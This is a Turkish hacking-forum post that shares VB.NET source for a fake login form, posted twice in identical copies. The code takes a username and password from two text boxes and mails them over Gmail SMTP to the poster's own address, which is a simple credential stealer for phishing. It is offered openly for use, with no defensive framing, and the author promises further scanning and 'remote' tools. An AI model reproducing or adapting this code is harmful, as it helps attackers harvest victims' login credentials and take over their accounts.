KIBRISLI HACKER
- 24 Eyl 2017
- 50 Mesaj
Aktiflik
Seviye
Deneyim
selamlar arkadaşlar videomuz burada buraya açıklama yapmıycam gerekli açıklamayı videoda hazırladım zaten ben bu daha yeniydi zaten 10 dk sürdü aklımda güzel programlar var remote dork açık tarama olsun onlarıda zamanı gelince yapıcam bir daha ki part2 de Görşmek üzereÂ
-
videoda kullandığım Codlar Vb.netÂ
 Imports System.Net.Mail (bu formun üstüne gelicek )
    If TextBox1.Text = "" Then
      MsgBox("Kullanıcı Adı Yanlış")
      If TextBox2.Text = "" Then
        MsgBox("Şifre Yanlış")
      Else
      End If
    End If
    Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("GMail", "Gmail Şifre")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("Gmail")
    mail.To.Add("Gmail")
    mail.Subject = "Username : " & TextBox1.Text
    mail.Body = "Password : " & TextBox2.Text & ","
    smtpServer.Send(mail)
    MsgBox("")
    MsgBox("Buton yazımız 2")
-
videoda kullandığım Codlar Vb.netÂ
 Imports System.Net.Mail (bu formun üstüne gelicek )
    If TextBox1.Text = "" Then
      MsgBox("Kullanıcı Adı Yanlış")
      If TextBox2.Text = "" Then
        MsgBox("Şifre Yanlış")
      Else
      End If
    End If
    Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("GMail", "Gmail Şifre")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("Gmail")
    mail.To.Add("Gmail")
    mail.Subject = "Username : " & TextBox1.Text
    mail.Body = "Password : " & TextBox2.Text & ","
    smtpServer.Send(mail)
    MsgBox("")
    MsgBox("Buton yazımız 2")
